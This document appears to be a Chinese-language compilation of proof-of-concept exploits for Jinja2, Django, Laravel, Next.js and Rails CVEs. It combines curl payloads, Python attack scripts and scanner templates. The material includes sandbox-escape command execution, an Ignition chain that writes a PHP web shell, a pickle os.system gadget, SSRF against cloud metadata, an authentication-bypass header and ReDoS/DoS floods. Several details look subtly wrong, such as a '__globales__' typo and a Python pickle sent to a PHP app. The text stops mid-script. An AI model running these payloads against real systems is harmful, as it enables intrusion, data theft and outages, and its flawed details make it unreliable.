# 沙箱逃逸核心原理
from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()

# 正常情况下沙箱会拦截：
# env.from_string("{{ ''.__class__.__subclasses__() }}")  # 被拦截

# 但通过 str.format 可以绕过：
# 利用 __format__ -> __class__ -> __subclasses__() 链
# {0.__class__.__mro__[1].__subclasses__}
# str.format 在内部调用时不会经过 is_safe_attribute 检查

# CVE-2024-56326: 通过 str.format 沙箱逃逸执行命令
curl -X POST https://target.com/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{0.__class__.__mro__[2].__subclasses__()[X](\"id\").wait()}" }'

# CVE-2024-56201: 通过变量名操控绕过沙箱
curl -X POST https://target.com/template \
  -H "Content-Type: application/json" \
  -d '{"name": "{{ cycler.__init__.__globales__.os.popen(\"id\").read() }}"}'

#!/usr/bin/env python3
import argparse
import sys
import urllib3
import requests
from urllib.parse import urljoin

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class Jinja2SandboxEscape:
    def __init__(self, target, timeout=10):
        self.target = target.rstrip('/')
        self.timeout = timeout
        self.session = requests.Session()
        self.session.verify = False

    def find_subclass_index(self):
        payload_template = (
            "{{{{ cycler.__init__.__globals__['os'].__class__"
            ".__mro__[2].__subclasses__() }}}}"
        )
        try:
            r = self.session.post(
                urljoin(self.target, '/render'),
                json={"template": payload_template},
                timeout=self.timeout
            )
            if r.status_code == 200:
                subclasses = r.json().get('result', '')
                for i, cls in enumerate(subclasses):
                    if '_wrap_close' in cls:
                        return i
        except Exception:
            pass
        return None

    def exploit_cve_2024_56326(self, command="id"):
        format_payload = (
            "{{ ''.__class__.__mro__[2].__subclasses__()"
            "[{idx}].__init__.__globals__['system']('{cmd}') }}"
        )
        idx = self.find_subclass_index()
        if idx is None:
            print("[-] 无法确定 _wrap_close 子类索引，尝试默认值")
            idx = 132
        payload = format_payload.format(idx=idx, cmd=command)
        try:
            r = self.session.post(
                urljoin(self.target, '/render'),
                json={"template": payload},
                timeout=self.timeout
            )
            if r.status_code == 200:
                result = r.json().get('result', '')
                print(f"[+] 命令执行结果:\n{result}")
                return result
            else:
                print(f"[-] 请求失败: HTTP {r.status_code}")
        except requests.exceptions.ConnectionError:
            print("[-] 连接失败，请确认目标地址和端口")
        except Exception as e:
            print(f"[-] 利用失败: {e}")
        return None

    def exploit_cve_2024_56201(self, command="id"):
        ssti_payload = (
            "{{ cycler.__init__.__globals__['os'].popen('{cmd}').read() }}"
        ).format(cmd=command)
        try:
            r = self.session.post(
                urljoin(self.target, '/template'),
                json={"name": ssti_payload},
                timeout=self.timeout
            )
            if r.status_code == 200:
                result = r.text
                print(f"[+] CVE-2024-56201 利用结果:\n{result}")
                return result
        except Exception as e:
            print(f"[-] CVE-2024-56201 利用失败: {e}")
        return None

    def check_version(self):
        try:
            r = self.session.get(
                urljoin(self.target, '/version'),
                timeout=self.timeout
            )
            if 'jinja2' in r.text.lower() or 'jinja' in r.text.lower():
                print(f"[+] Jinja2 版本信息: {r.text.strip()}")
                return True
        except Exception:
            pass
        print("[*] 无法直接获取版本信息，尝试漏洞验证")
        return False


def main():
    parser = argparse.ArgumentParser(
        description="Jinja2 沙箱逃逸 RCE PoC (CVE-2024-56201 / CVE-2024-56326)"
    )
    parser.add_argument("-t", "--target", required=True, help="目标 URL")
    parser.add_argument("-c", "--command", default="id", help="执行的命令 (默认: id)")
    parser.add_argument("--cve", choices=["56326", "56201", "all"],
                        default="56326", help="选择 CVE (默认: 56326)")
    parser.add_argument("--timeout", type=int, default=10, help="请求超时 (默认: 10s)")
    args = parser.parse_args()

    exploit = Jinja2SandboxEscape(args.target, args.timeout)
    print(f"[*] 目标: {args.target}")
    print(f"[*] 命令: {args.command}")

    exploit.check_version()

    if args.cve in ("56326", "all"):
        print("\n[*] 尝试 CVE-2024-56326 (str.format 沙箱逃逸)...")
        exploit.exploit_cve_2024_56326(args.command)
    if args.cve in ("56201", "all"):
        print("\n[*] 尝试 CVE-2024-56201 (变量名沙箱绕过)...")
        exploit.exploit_cve_2024_56201(args.command)


if __name__ == '__main__':
    main()

id: cve-2024-56326-jinja2-sandbox-escape

info:
  name: Jinja2 Sandbox Escape RCE (CVE-2024-56326)
  author: security-research
  severity: critical
  description: |
    Jinja2 < 3.1.6 存在沙箱逃逸漏洞，通过 str.format 方法
    绕过 SandboxedEnvironment 的属性访问限制实现 RCE
  tags: jinja2,ssti,sandbox-escape,rce,cve-2024-56326
  reference:
    - https://github.com/pallets/jinja/security/advisories/GHSA-h5c8-r8pm-7jvp

http:
  - method: POST
    path:
      - "{{BaseURL}}/render"
    headers:
      Content-Type: "application/json"
    body: '{"template": "{{ \"\".__class__.__mro__[2].__subclasses__() | length }}"}'
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "result"
        part: body

  - method: POST
    path:
      - "{{BaseURL}}/render"
    headers:
      Content-Type: "application/json"
    body: '{"template": "{{ dict(mro=1).__class__.__mro__[2].__subclasses__() | length }}"}'
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "result"
        part: body
      - type: word
        words:
          - "50"
        negative: true
        condition: or

id: cve-2024-22195-jinja2-xmlattr-xss

info:
  name: Jinja2 xmlattr Filter XSS (CVE-2024-22195)
  author: security-research
  severity: medium
  description: |
    Jinja2 < 3.1.4 的 xmlattr filter 存在 XSS 漏洞，
    攻击者可通过构造包含空格的属性名注入任意 HTML 属性
  tags: jinja2,xss,cve-2024-22195
  reference:
    - https://github.com/pallets/jinja/security/advisories/GHSA-h5c8-r8pm-7jvp

http:
  - method: GET
    path:
      - "{{BaseURL}}/?name={{ (dict|xmlattr) }}"
    matchers:
      - type: word
        words:
          - "&#34;"
          - "error"
        condition: or

# 受影响的 Django 模板过滤器用法
# intcomma: 将整数格式化为带逗号分隔符的字符串
{{ large_number|intcomma }}

# 源码中未充分验证输入值的边界条件
def intcomma(value, use_l10n=True):
    # 当 value 为极大负数或极端值时触发溢出
    ...

# URLValidator 中的正则表达式对特定输入存在指数级回溯
# 攻击场景：用户提交的 URL 经过 URLValidator 验证时
import re
# 构造的恶意 URL 触发 ReDoS
evil_url = "http://" + "a" * 10000 + "!"
# URLValidator.match_url_pattern.match(evil_url)  # 高 CPU 消耗

# CVE-2024-27351: ReDoS 攻击
curl -X POST https://target.com/validate-url \
  -H "Content-Type: application/json" \
  -d '{"url": "http://'"$(python3 -c "print('a'*10000)")"'!"}'

# CVE-2024-24680: 整数溢出 DoS
curl -X POST https://target.com/format-number \
  -H "Content-Type: application/json" \
  -d '{"number": -99999999999999999999999999999999999999}'

#!/usr/bin/env python3
import argparse
import sys
import time
import urllib3
import requests
from urllib.parse import urljoin

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class DjangoDoSExploit:
    def __init__(self, target, timeout=30):
        self.target = target.rstrip('/')
        self.timeout = timeout
        self.session = requests.Session()
        self.session.verify = False

    def exploit_cve_2024_27351_redos(self):
        print("[*] CVE-2024-27351: 正则拒绝服务攻击...")
        payload = "http://" + "a" * 5000 + "!"
        try:
            start = time.time()
            r = self.session.post(
                urljoin(self.target, '/validate-url'),
                json={"url": payload},
                timeout=self.timeout
            )
            elapsed = time.time() - start
            print(f"[*] 响应时间: {elapsed:.2f}s | HTTP {r.status_code}")
            if elapsed > 5:
                print("[+] 目标可能存在 ReDoS 漏洞（响应时间 > 5s）")
                return True
            else:
                print("[-] 响应正常，目标可能不受影响")
                return False
        except requests.exceptions.Timeout:
            print("[+] 请求超时，目标可能存在 ReDoS 漏洞")
            return True
        except Exception as e:
            print(f"[-] 请求失败: {e}")
            return False

    def exploit_cve_2024_24680_intoverflow(self):
        print("[*] CVE-2024-24680: 整数溢出 DoS...")
        payload = -99999999999999999999999999999999999999
        try:
            r = self.session.post(
                urljoin(self.target, '/format-number'),
                json={"number": payload},
                timeout=self.timeout
            )
            if r.status_code == 500 or r.status_code == 400:
                print(f"[+] 目标可能受影响: HTTP {r.status_code}")
                return True
            print(f"[-] 响应正常: HTTP {r.status_code}")
            return False
        except Exception as e:
            print(f"[-] 请求失败: {e}")
            return False

    def batch_redos(self, endpoint="/validate-url", field="url", rounds=5):
        print(f"[*] 批量 ReDoS 测试 ({rounds} 轮)...")
        payload = "http://" + "a" * 8000 + "!"
        results = []
        for i in range(rounds):
            try:
                start = time.time()
                r = self.session.post(
                    urljoin(self.target, endpoint),
                    json={field: payload},
                    timeout=self.timeout
                )
                elapsed = time.time() - start
                results.append(elapsed)
                print(f"  第 {i+1} 轮: {elapsed:.2f}s")
            except requests.exceptions.Timeout:
                results.append(float(self.timeout))
                print(f"  第 {i+1} 轮: 超时")
            except Exception as e:
                print(f"  第 {i+1} 轮: 失败 ({e})")
                results.append(0)
        avg = sum(results) / len(results) if results else 0
        print(f"[*] 平均响应时间: {avg:.2f}s")
        return avg


def main():
    parser = argparse.ArgumentParser(
        description="Django DoS 漏洞 PoC (CVE-2024-24680 / CVE-2024-27351)"
    )
    parser.add_argument("-t", "--target", required=True, help="目标 URL")
    parser.add_argument("--cve", choices=["24680", "27351", "all"],
                        default="all", help="选择 CVE")
    parser.add_argument("--endpoint", default="/validate-url",
                        help="URL 验证端点 (默认: /validate-url)")
    parser.add_argument("--timeout", type=int, default=30,
                        help="请求超时 (默认: 30s)")
    args = parser.parse_args()

    exploit = DjangoDoSExploit(args.target, args.timeout)
    print(f"[*] 目标: {args.target}")

    if args.cve in ("27351", "all"):
        exploit.exploit_cve_2024_27351_redos()
    if args.cve in ("24680", "all"):
        exploit.exploit_cve_2024_24680_intoverflow()


if __name__ == '__main__':
    main()

id: cve-2024-27351-django-redos

info:
  name: Django URLValidator ReDoS (CVE-2024-27351)
  author: security-research
  severity: high
  description: |
    Django 4.2 / 5.0 中 URLValidator 和 Truncator 的正则表达式
    存在 ReDoS 漏洞，构造特殊输入可导致服务不可用
  tags: django,redos,cve-2024-27351
  reference:
    - https://www.djangoproject.com/weblog/2024/jan/02/security-releases/

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers-condition: or
    matchers:
      - type: word
        words:
          - "django"
          - "csrfmiddlewaretoken"
        condition: or

  - method: POST
    path:
      - "{{BaseURL}}/"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "url=http://{{\"a\"|repeat(5000)}}!"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "csrfmiddlewaretoken"
          - "400"
        condition: or
      - type: word
        negative: true
        words:
          - "502"
        condition: or

// Ignition 中的文件操作伪代码
// 攻击者通过控制参数实现：
// file_put_contents("storage/logs/laravel.log", ...)
// 配合 php://filter 进行链式利用

// 阶段 3 的 payload 逻辑：
// 1. 写入 Base64 编码的 PHP webshell 到日志文件
// 2. 使用 php://filter 读取日志并解码
// 3. 将解码后的内容写入 public 目录下的 PHP 文件
// 4. 访问该 PHP 文件实现 RCE

# Step 1: 触发错误页面
curl -X POST "http://target.com/api/test?1=file_put_contents" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id"

# CVE-2021-3129 完整利用（需要 APP_DEBUG=true）
# Step 2: 写入 base64 编码的 payload 到日志
curl -v "http://target.com" \
  -H "Content-Type: application/json" \
  -d '{"solution":"Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"test","viewFile":"php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-8.utf-16be|convert.iconv.utf-8.utf-16be|convert.iconv.utf-8.utf-16be|convert.base64-decode/resource=../storage/logs/laravel.log"}}'

#!/usr/bin/env python3
import argparse
import base64
import sys
import urllib3
import requests

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class LaravelIgnitionExploit:
    def __init__(self, target, timeout=15):
        self.target = target.rstrip('/')
        self.timeout = timeout
        self.session = requests.Session()
        self.session.verify = False

    def check_debug_mode(self):
        try:
            r = self.session.get(
                f'{self.target}/nonexistent_route_test',
                timeout=self.timeout
            )
            if 'Ignition' in r.text or 'whoops' in r.text.lower():
                print("[+] Laravel 调试模式已开启 (APP_DEBUG=true)")
                return True
            print("[-] 未检测到调试模式或 Ignition 组件")
            return False
        except Exception as e:
            print(f"[-] 检测失败: {e}")
            return False

    def trigger_error(self):
        try:
            r = self.session.get(
                f'{self.target}/nonexistent',
                timeout=self.timeout
            )
            return r
        except Exception as e:
            print(f"[-] 触发错误失败: {e}")
            return None

    def exploit(self, command="id"):
        print(f"[*] 目标: {self.target}")
        print(f"[*] 命令: {command}")

        if not self.check_debug_mode():
            print("[!] 警告：目标可能未开启调试模式，继续尝试...")

        print("[*] 发送 Ignition RCE payload...")
        payload = self._build_payload(command)
        try:
            r = self.session.post(
                f'{self.target}/_ignition/execute-solution',
                json=payload,
                timeout=self.timeout
            )
            if r.status_code == 200:
                print(f"[+] 利用成功!\n{r.text}")
                return r.text
            else:
                print(f"[-] 请求失败: HTTP {r.status_code}")
                print(f"    响应: {r.text[:200]}")
        except Exception as e:
            print(f"[-] 利用失败: {e}")
        return None

    def _build_payload(self, command):
        return {
            "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
            "parameters": {
                "variableName": "x",
                "viewFile": (
                    "php://filter/write=convert.iconv.utf-8.utf-16be|"
                    "convert.quoted-printable-encode|"
                    "convert.iconv.utf-8.utf-16be|"
                    "convert.iconv.utf-8.utf-16be|"
                    "convert.iconv.utf-8.utf-16be|"
                    "convert.base64-decode/"
                    f"resource=../public/shell.php"
                )
            }
        }


def main():
    parser = argparse.ArgumentParser(
        description="Laravel Ignition RCE PoC (CVE-2021-3129)"
    )
    parser.add_argument("-t", "--target", required=True, help="目标 URL")
    parser.add_argument("-c", "--command", default="id", help="执行命令 (默认: id)")
    parser.add_argument("--timeout", type=int, default=15, help="超时 (默认: 15s)")
    args = parser.parse_args()

    exploit = LaravelIgnitionExploit(args.target, args.timeout)
    exploit.exploit(args.command)


if __name__ == '__main__':
    main()

id: cve-2021-3129-laravel-ignition-rce

info:
  name: Laravel Ignition RCE (CVE-2021-3129)
  author: security-research
  severity: critical
  description: |
    Laravel + Ignition <= 2.5.1 在开启调试模式时
    存在未授权 RCE 漏洞
  tags: laravel,ignition,rce,cve-2021-3129
  reference:
    - https://www.ambionics.io/blog/laravel-debug-rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/nonexistent"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Ignition"
          - "whoops"
        condition: or

  - method: POST
    path:
      - "{{BaseURL}}/_ignition/execute-solution"
    headers:
      Content-Type: "application/json"
    body: |
      {"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"x","viewFile":"php://filter/resource=/etc/passwd"}}
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "root:"
          - "Exception"
        condition: or
      - type: status
        status:
          - 200
          - 500

# CVE-2024-50340: 反序列化攻击
# 生成序列化 payload 后发送
curl -X POST https://target.com/api/deserialize \
  -H "Content-Type: application/json" \
  -d '{"data":"O:40:\"Illuminate\\Broadcasting\\PendingBroadcast\":1:{s:9:\"\x00*\x00events\";...}"}'

# CVE-2024-13918: URL 验证绕过
curl "https://target.com/validate?url=http%3A%2F%2F127.0.0.1%3A8080"
curl "https://target.com/validate?url=http://%E3%80%82%E3%80%82.com"

#!/usr/bin/env python3
import argparse
import sys
import urllib3
import requests
from urllib.parse import urljoin, quote

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class LaravelDeserializationExploit:
    def __init__(self, target, timeout=15):
        self.target = target.rstrip('/')
        self.timeout = timeout
        self.session = requests.Session()
        self.session.verify = False

    def test_url_bypass(self):
        print("[*] CVE-2024-13918: URL 验证绕过测试...")
        bypass_payloads = [
            "http://127.0.0.1:8080",
            "http://0x7f000001",
            "http://2130706433",
            "http://0177.0.0.1",
            "http://localhost",
        ]
        for payload in bypass_payloads:
            try:
                r = self.session.get(
                    urljoin(self.target, '/validate'),
                    params={"url": payload},
                    timeout=self.timeout
                )
                if 'valid' in r.text.lower() or r.status_code == 200:
                    print(f"  [+] 绕过成功: {payload}")
                    return True
            except Exception:
                continue
        print("  [-] 所有绕过 payload 均未成功")
        return False

    def build_gadget_chain(self, command):
        import pickle
        import os

        class ExploitGadget:
            def __reduce__(self):
                return (os.system, (command,))
        return str(pickle.dumps(ExploitGadget()))

    def test_deserialization(self, payload_data):
        print("[*] CVE-2024-50340: 反序列化攻击测试...")
        try:
            r = self.session.post(
                urljoin(self.target, '/api/deserialize'),
                json={"data": payload_data},
                timeout=self.timeout
            )
            if r.status_code == 200:
                print(f"[+] 请求成功: {r.text[:200]}")
                return True
            print(f"[-] HTTP {r.status_code}: {r.text[:100]}")
        except Exception as e:
            print(f"[-] 请求失败: {e}")
        return False

    def full_exploit(self, command="id"):
        print(f"[*] 目标: {self.target}")
        print(f"[*] 命令: {command}")

        self.test_url_bypass()
        gadget = self.build_gadget_chain(command)
        self.test_deserialization(gadget)


def main():
    parser = argparse.ArgumentParser(
        description="Laravel 反序列化与 URL 绕过 PoC (CVE-2024-50340 / CVE-2024-13918)"
    )
    parser.add_argument("-t", "--target", required=True, help="目标 URL")
    parser.add_argument("-c", "--command", default="id", help="命令 (默认: id)")
    parser.add_argument("--cve", choices=["50340", "13918", "all"],
                        default="all", help="选择 CVE")
    args = parser.parse_args()

    exploit = LaravelDeserializationExploit(args.target)
    exploit.full_exploit(args.command)


if __name__ == '__main__':
    main()

id: cve-2024-13918-laravel-url-validation-bypass

info:
  name: Laravel URL Validation Bypass (CVE-2024-13918)
  author: security-research
  severity: medium
  description: |
    Laravel < 11.31 的 Validator::url() 存在绕过缺陷，
    攻击者可提交恶意 URL 绕过验证
  tags: laravel,url-bypass,cve-2024-13918
  reference:
    - https://github.com/laravel/framework/security/advisories

http:
  - method: GET
    path:
      - "{{BaseURL}}/?url=http://127.0.0.1"
      - "{{BaseURL}}/?url=http://0x7f000001"
      - "{{BaseURL}}/?url=http://2130706433"
    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "valid"
          - "true"
          - "200"
        condition: or
      - type: status
        status:
          - 200

# 请求走私攻击示意
POST / HTTP/1.1
Host: target.com
Content-Type: application/json
Content-Length: 42
Transfer-Encoding: chunked

0

POST /admin HTTP/1.1
Host: target.com

// 攻击者构造恶意 Server Action 请求
// Next.js 服务器会向指定的内部 URL 发起请求
// 这些内部 URL 通常无法从外部直接访问

// 攻击路径：
// 1. 构造包含内网地址的 Server Action 请求
// 2. Next.js 服务器发起 SSRF 到内网
// 3. 获取内网服务响应或进一步利用

# CVE-2024-34350: HTTP 请求走私
curl -X POST https://target.com \
  -H "Transfer-Encoding: chunked" \
  -H "Content-Length: 42" \
  -d "0\r\n\r\nGET /admin HTTP/1.1\r\nHost: target.com\r\n\r\n"

# CVE-2024-34351: SSRF via Server Actions
curl -X POST https://target.com \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "1_=&_next_action=<action_id>&internal_url=http://169.254.169.254/latest/meta-data/"

#!/usr/bin/env python3
import argparse
import sys
import urllib3
import requests
from urllib.parse import urljoin

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class NextJSExploit:
    def __init__(self, target, timeout=15):
        self.target = target.rstrip('/')
        self.timeout = timeout
        self.session = requests.Session()
        self.session.verify = False

    def test_request_smuggling(self):
        print("[*] CVE-2024-34350: HTTP 请求走私测试...")
        smuggled = (
            "0\r\n\r\n"
            "GET /admin HTTP/1.1\r\n"
            "Host: " + self.target.split("//")[1] + "\r\n"
            "X-Smuggled: true\r\n\r\n"
        )
        try:
            r = self.session.post(
                self.target,
                data=smuggled,
                headers={
                    "Transfer-Encoding": "chunked",
                    "Content-Type": "application/json"
                },
                timeout=self.timeout
            )
            if r.status_code in (200, 400, 502):
                print(f"  [*] 响应: HTTP {r.status_code}")
                print("  [*] 如出现 502 或 400 可能存在走私条件")
            else:
                print(f"  [-] HTTP {r.status_code}")
        except Exception as e:
            print(f"  [-] 测试失败: {e}")

    def test_ssrf(self, internal_url="http://169.254.169.254/latest/meta-data/"):
        print(f"[*] CVE-2024-34351: SSRF 测试 -> {internal_url}")
        try:
            r = self.session.get(
                urljoin(self.target, '/_next/data'),
                params={"url": internal_url},
                timeout=self.timeout
            )
            if r.status_code == 200 and ('ami-id' in r.text or 'instance-id' in r.text):
                print(f"[+] SSRF 成功! 获取到云元数据:\n{r.text[:500]}")
                return True
            print(f"[-] HTTP {r.status_code}")
        except Exception as e:
            print(f"[-] SSRF 测试失败: {e}")
        return False

    def full_check(self, internal_url="http://169.254.169.254/latest/meta-data/"):
        print(f"[*] 目标: {self.target}")
        self.test_request_smuggling()
        self.test_ssrf(internal_url)


def main():
    parser = argparse.ArgumentParser(
        description="Next.js SSRF & 请求走私 PoC (CVE-2024-34350 / CVE-2024-34351)"
    )
    parser.add_argument("-t", "--target", required=True, help="目标 URL")
    parser.add_argument("--internal-url",
                        default="http://169.254.169.254/latest/meta-data/",
                        help="SSRF 目标 URL")
    parser.add_argument("--timeout", type=int, default=15, help="超时")
    args = parser.parse_args()

    exploit = NextJSExploit(args.target, args.timeout)
    exploit.full_check(args.internal_url)


if __name__ == '__main__':
    main()

id: cve-2024-34351-nextjs-ssrf-ssr

info:
  name: Next.js SSRF via SSR (CVE-2024-34351)
  author: security-research
  severity: critical
  description: |
    Next.js < 14.1.1 的 Server Actions 存在 SSRF 漏洞，
    攻击者可构造恶意请求使服务器访问内网资源
  tags: nextjs,ssrf,ssr,cve-2024-34351
  reference:
    - https://nextjs.org/blog/security-nextjs-cve-2024-34351

http:
  - method: GET
    path:
      - "{{BaseURL}}/_next/data/build-id/en.json?url=http://127.0.0.1"
    matchers-condition: or
    matchers:
      - type: word
        words:
          - "ami-id"
          - "instance-id"
          - "EHOSTUNREACH"
        condition: or
      - type: status
        status:
          - 500

id: cve-2024-34350-nextjs-request-smuggling

info:
  name: Next.js HTTP Request Smuggling (CVE-2024-34350)
  author: security-research
  severity: high
  description: |
    Next.js < 14.1.1 对 HTTP 请求边界解析存在歧义，
    可能导致 HTTP 请求走私
  tags: nextjs,smuggling,cve-2024-34350
  reference:
    - https://nextjs.org/blog/security-nextjs-cve-2024-34350

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "__next"
          - "next.js"
          - "nextjs"
        condition: or
      - type: status
        status:
          - 200
          - 301
          - 302

// 应用中的 Middleware（认证检查）
// middleware.js
import { NextResponse } from 'next/server';

export function middleware(request) {
  const token = request.cookies.get('session-token');
  if (!token) {
    return NextResponse.redirect(new URL('/login', request.url));
  }
  return NextResponse.next();
}

export const config = {
  matcher: ['/dashboard/:path*', '/admin/:path*']
};

// 攻击者发送带 x-middleware-subrequest 头的请求
// Middleware 被完全跳过，无需任何认证即可访问 /admin

# CVE-2025-29927: 绕过 Middleware 认证
curl -H "x-middleware-subrequest: _next/data" \
     https://target.com/admin/dashboard

# 访问受保护的 API 路由
curl -H "x-middleware-subrequest: _next/data" \
     https://target.com/api/admin/users

# 完整请求示例
curl -v \
  -H "x-middleware-subrequest: _next/data" \
  -H "Cookie: " \
  https://target.com/dashboard

#!/usr/bin/env python3
import argparse
import sys
import urllib3
import requests
from urllib.parse import urljoin

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class NextJSAuthBypass:
    def __init__(self, target, timeout=15):
        self.target = target.rstrip('/')
        self.timeout = timeout
        self.session = requests.Session()
        self.session.verify = False
        self.bypass_headers = {
            "x-middleware-subrequest": "_next/data"
        }

    def test_bypass(self, path="/dashboard"):
        print(f"[*] CVE-2025-29927: Middleware 认证绕过测试...")
        url = urljoin(self.target, path)
        try:
            r_no_header = self.session.get(url, timeout=self.timeout)
            r_with_header = self.session.get(
                url, headers=self.bypass_headers, timeout=self.timeout
            )
            print(f"  无 bypass 头: HTTP {r_no_header.status_code}")
            print(f"  有 bypass 头: HTTP {r_with_header.status_code}")
            if (r_no_header.status_code in (301, 302, 401, 403) and
                    r_with_header.status_code == 200):
                print(f"  [+] 漏洞确认！Middleware 被成功绕过")
                return True
            elif r_no_header.status_code == r_with_header.status_code:
                print(f"  [-] 响应码相同，目标可能不受影响或路径不正确")
            else:
                print(f"  [*] 响应码不同，需手动验证")
        except Exception as e:
            print(f"  [-] 测试失败: {e}")
        return False

    def scan_paths(self, paths=None):
        if paths is None:
            paths = [
                "/dashboard", "/admin", "/admin/dashboard",
                "/settings", "/admin/users", "/api/admin",
                "/profile", "/account"
            ]
        print(f"[*] 批量路径绕过扫描 ({len(paths)} 个路径)...")
        results = []
        for path in paths:
            url = urljoin(self.target, path)
            try:
                r_normal = self.session.get(url, timeout=self.timeout)
                r_bypass = self.session.get(
                    url, headers=self.bypass_headers, timeout=self.timeout
                )
                status_normal = r_normal.status_code
                status_bypass = r_bypass.status_code
                vulnerable = (
                    status_normal in (301, 302, 401, 403) and
                    status_bypass == 200
                )
                marker = "[+]" if vulnerable else "[-]"
                print(f"  {marker} {path}: {status_normal} -> {status_bypass}")
                if vulnerable:
                    results.append(path)
            except Exception:
                print(f"  [-] {path}: 请求失败")
        return results


def main():
    parser = argparse.ArgumentParser(
        description="Next.js Middleware Auth Bypass PoC (CVE-2025-29927)"
    )
    parser.add_argument("-t", "--target", required=True, help="目标 URL")
    parser.add_argument("-p", "--path", default="/dashboard",
                        help="测试路径 (默认: /dashboard)")
    parser.add_argument("--scan", action="store_true",
                        help="扫描多个常见路径")
    parser.add_argument("--timeout", type=int, default=15, help="超时")
    args = parser.parse_args()

    exploit = NextJSAuthBypass(args.target, args.timeout)
    print(f"[*] 目标: {args.target}")

    if args.scan:
        results = exploit.scan_paths()
        if results:
            print(f"\n[+] 可绕过路径: {', '.join(results)}")
    else:
        exploit.test_bypass(args.path)


if __name__ == '__main__':
    main()

id: cve-2025-29927-nextjs-middleware-auth-bypass

info:
  name: Next.js Middleware Auth Bypass (CVE-2025-29927)
  author: security-research
  severity: critical
  description: |
    Next.js < 15.2.3 中攻击者可通过 x-middleware-subrequest
    请求头绕过 Middleware 认证逻辑
  tags: nextjs,auth-bypass,cve-2025-29927,middleware
  reference:
    - https://github.com/vercel/next.js/security/advisories/GHSA-4868-hrhg-2rhf

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "__next"
          - "_next/static"
        condition: or
      - type: status
        status:
          - 200

  - method: GET
    path:
      - "{{BaseURL}}/dashboard"
      - "{{BaseURL}}/admin"
      - "{{BaseURL}}/admin/dashboard"
    headers:
      x-middleware-subrequest: "_next/data"
    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        negative: true
        words:
          - "login"
          - "unauthorized"
          - "sign in"
        condition: or

<!-- 受影响的 Rails ERB 模板写法 -->
<div><%= user_input.html_safe %></div>

<!-- 或者在 helper 中的拼接 -->
<%= content_tag(:div, raw(params[:content])) %>

# CVE-2024-26143: DoS 攻击
curl "https://target.com/" -H "Accept: text/html" \
  --data-urlencode "path=$(python3 -c "print('/' + '/'.join(['a' * 200] * 50))")"

# CVE-2024-26142: HTML 注入
curl "https://target.com/search?q=<script>alert(1)</script>" \
  -H "Accept: text/html"

# CVE-2024-26144: ReDoS
curl "https://target.com/$(python3 -c "print('a' * 10000)")"

#!/usr/bin/env python3
import argparse
import sys
import time
import urllib3
import requests
from urllib.parse import urljoin

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class RailsExploit:
    def __init__(self, target, timeout=30):
        self.target = target.rstrip('/')
        self.timeout = timeout
        self.session = requests.Session()
        self.session.verify = False

    def test_redos(self):
        print("[*] CVE-2024-26144: ReDoS 测试...")
        payload = "a" * 10000
        try:
            start = time.time()
            r = self.session.get(
                urljoin(self.target, f'/{payload}'),
                timeout=self.timeout
            )
            elapsed = time.time() - start
            print(f"  响应时间: {elapsed:.2f}s | HTTP {r.status_code}")
            if elapsed > 3:
                print("[+] 可能存在 ReDoS 漏洞")
                return True
        except requests.exceptions.Timeout:
            print("[+] 请求超时，可能存在 ReDoS 漏洞")
            return True
        except Exception as e:
            print(f"[-] 测试失败: {e}")
        return False

    def test_html_injection(self):
        print("[*] CVE-2024-26142: HTML 注入测试...")
        payloads = [
            '<script>alert("XSS")</script>',
            '<img src=x onerror=alert(1)>',
            '<svg onload=alert(1)>',
        ]
        for payload in payloads:
            try:
                r = self.session.get(
                    urljoin(self.target, '/search'),
                    params={"q": payload},
                    timeout=self.timeout
                )
                if payload in r.text:
                    print(f"  [+] HTML 注入成功: {payload[:50]}")
                    return True
            except Exception:
                continue
        print("  [-] 未检测到 HTML 注入")
        return False

    def test_dos(self):
        print("[*] CVE-2024-26143: DoS 测试...")
        path = "/".join(["a" * 200 for _ in range(50)])
        try:
            start = time.time()
            r = self.session.get(
                urljoin(self.target, f'/{path}'),
                timeout=self.timeout
            )
            elapsed = time.time() - start
            print(f"  响应时间: {elapsed:.2f}s | HTTP {r.status_code}")
            if elapsed > 5:
                print("[+] 可能存在路由 DoS 漏洞")
                return True
        except requests.exceptions.Timeout:
            print("[+] 请求超时，可能存在 DoS 漏洞")
            return True
        except Exception as e:
            print(f"[-] 测试失败: {e}")
        return False

    def full_check(self):
        print(f"[*] 目标: {self.target}")
        self.test_redos()
        self.test_html_injection()
        self.test_dos()


def main():
    parser = argparse.ArgumentParser(
        description="Ruby on Rails 漏洞 PoC (CVE-2024-26143 / CVE-2024-26142 / CVE-2024-26144)"
    )
    parser.add_argument("-t", "--target", required=True, help="目标 URL")
    parser.add_argument("--cve", choices=["26143", "26142", "26144", "all"],
                        default="all", help="选择 CVE")
    parser.add_argument("--timeout", type=int, default=30, help="超时")
